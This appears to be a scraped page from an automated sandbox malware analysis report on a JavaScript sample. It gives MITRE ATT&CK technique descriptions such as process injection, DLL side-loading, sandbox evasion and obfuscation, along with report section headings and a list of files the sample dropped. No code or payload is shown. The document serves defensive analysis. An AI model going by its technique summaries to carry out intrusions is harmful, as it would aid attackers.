Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2078028442107917841.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8842f6fe-4c52-40c8-b718-299a3935ea75.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2078028442107917841.js